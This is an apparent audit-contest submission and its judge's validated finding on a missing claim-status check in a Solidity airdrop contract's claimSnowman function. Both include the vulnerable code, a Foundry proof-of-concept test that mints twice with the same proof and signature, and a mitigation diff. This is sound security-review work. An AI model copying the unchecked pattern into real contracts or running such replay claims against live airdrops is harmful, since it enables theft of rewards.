Snowman Merkle Airdrop
AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: low
Valid

Signature and merkle proof replay in claimSnowman() allows unlimited repeated claims for any address that reacquires its original SNOW balance

sebidelamata

Root + Impact

Description

​
`SnowmanAirdrop::claimSnowman` derives the claim amount live from `i_snow.balanceOf(receiver)` at call time rather than from a value fixed at claim time, and neither the merkle leaf nor the EIP-712 signature it verifies includes a nonce, claim ID, or expiry. Additionally, `s_hasClaimedSnowman[receiver]` value is never checked.
​
```solidity
​
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) revert SA__ZeroAddress();
if (i_snow.balanceOf(receiver) == 0) revert SA__ZeroAmount();
​
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
revert SA__InvalidSignature();
}
​
uint256 amount = i_snow.balanceOf(receiver);
​
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
​
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
​
i_snow.safeTransferFrom(receiver, address(this), amount);
​
s_hasClaimedSnowman[receiver] = true; // written, but never read/checked anywhere
​
emit SnowmanClaimedSuccessfully(receiver, amount);
​
i_snowman.mintSnowman(receiver, amount);
}
​
```

Risk

Likelihood:

  • High. No privileged access, no special timing, and no secret information is required — the signature and proof used are the claimant's own, already public from their first claim transaction. The only requirement is calling already-public functions (earnSnow() or buySnow()) to restore the qualifying balance.

Impact:

  • High. Allows claimants to mint additional NFTs after the airdrop.

Proof of Concept

Add the following test to the `TestSnowmanAirdrop.t.sol` test suite:
​
```solidity
​
function testAliceCanClaimTwiceByToppingUpBalance() public {
assert(nft.balanceOf(alice) == 0);
vm.prank(alice);
snow.approve(address(airdrop), 1);
​
bytes32 alDigest = airdrop.getMessageHash(alice);
(uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigest);
​
vm.prank(satoshi);
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
​
assert(nft.balanceOf(alice) == 1);
assert(snow.balanceOf(alice) == 0);
​
// --- Top up alice's SNOW back to original amount ---
uint256 buyFee = snow.s_buyFee();
uint256 cost = buyFee * 1;
​
vm.deal(alice, cost);
vm.prank(alice);
snow.buySnow{value: cost}(1);
​
assertEq(snow.balanceOf(alice), 1, "Alice should have exactly 1 SNOW again");
​
vm.prank(alice);
snow.approve(address(airdrop), 1);
​
// --- Second claim: same proof, same signature ---
vm.prank(alice);
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
​
console2.log("Alice Snowman balance after second claim:", nft.balanceOf(alice));
assert(nft.balanceOf(alice) == 2);
}
​
```
​
Run the test in the terminal:
​
```bash
​
forge test --mt testAliceCanClaimTwiceByToppingUpBalance -vvvv
​
```
​
If the test passes the exploit succeeded.

Recommended Mitigation

Add a check to see if the user has already received their claim.
​
```diff
​
+ error SA__AlreadyClaimed();
​
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) revert SA__ZeroAddress();
if (i_snow.balanceOf(receiver) == 0) revert SA__ZeroAmount();
​
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
revert SA__InvalidSignature();
}
+
+ if(s_hasClaimedSnowman[receiver]){
+ revert SA__AlreadyClaimed();
+ }
+
​
uint256 amount = i_snow.balanceOf(receiver);
​
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
​
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
​
i_snow.safeTransferFrom(receiver, address(this), amount);
​
s_hasClaimedSnowman[receiver] = true; // written, but never read/checked anywhere
​
emit SnowmanClaimedSuccessfully(receiver, amount);
​
i_snowman.mintSnowman(receiver, amount);
}
​
```
​
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[L-01] Missing Claim Status Check Allows Multiple Claims in SnowmanAirdrop.sol::claimSnowman

# Root + Impact   **Root:** The [`claimSnowman`](https://github.com/CodeHawks-Contests/2025-06-snowman-merkle-airdrop/blob/b63f391444e69240f176a14a577c78cb85e4cf71/src/SnowmanAirdrop.sol#L44) function updates `s_hasClaimedSnowman[receiver] = true` but never checks if the user has already claimed before processing the claim, allowing users to claim multiple times if they acquire more Snow tokens. **Impact:** Users can bypass the intended one-time airdrop limit by claiming, acquiring more Snow tokens, and claiming again, breaking the airdrop distribution model and allowing unlimited NFT minting for eligible users. ## Description * **Normal Behavior:** Airdrop mechanisms should enforce one claim per eligible user to ensure fair distribution and prevent abuse of the reward system. * **Specific Issue:** The function sets the claim status to true after processing but never validates if `s_hasClaimedSnowman[receiver]` is already true at the beginning, allowing users to claim multiple times as long as they have Snow tokens and valid proofs. ## Risk **Likelihood**: Medium * Users need to acquire additional Snow tokens between claims, which requires time and effort * Users must maintain their merkle proof validity across multiple claims * Attack requires understanding of the missing validation check **Impact**: High * **Airdrop Abuse**: Users can claim far more NFTs than intended by the distribution mechanism * **Unfair Distribution**: Some users receive multiple rewards while others may receive none * **Economic Manipulation**: Breaks the intended scarcity and distribution model of the NFT collection ## Proof of Concept Add the following test to TestSnowMan.t.sol  ```Solidity function testMultipleClaimsAllowed() public { // Alice claims her first NFT vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest = airdrop.getMessageHash(alice); (uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v, r, s); assert(nft.balanceOf(alice) == 1); assert(airdrop.getClaimStatus(alice) == true); // Alice acquires more Snow tokens (wait for timer and earn again) vm.warp(block.timestamp + 1 weeks); vm.prank(alice); snow.earnSnow(); // Alice can claim AGAIN with new Snow tokens! vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest2 = airdrop.getMessageHash(alice); (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, aliceDigest2); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2); // Second claim succeeds! assert(nft.balanceOf(alice) == 2); // Alice now has 2 NFTs } ``` ## Recommended Mitigation **Add a claim status check at the beginning of the function** to prevent users from claiming multiple times. ```diff // Add new error + error SA__AlreadyClaimed(); function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { + if (s_hasClaimedSnowman[receiver]) { + revert SA__AlreadyClaimed(); + } + if (receiver == address(0)) { revert SA__ZeroAddress(); } // Rest of function logic... s_hasClaimedSnowman[receiver] = true; } ```

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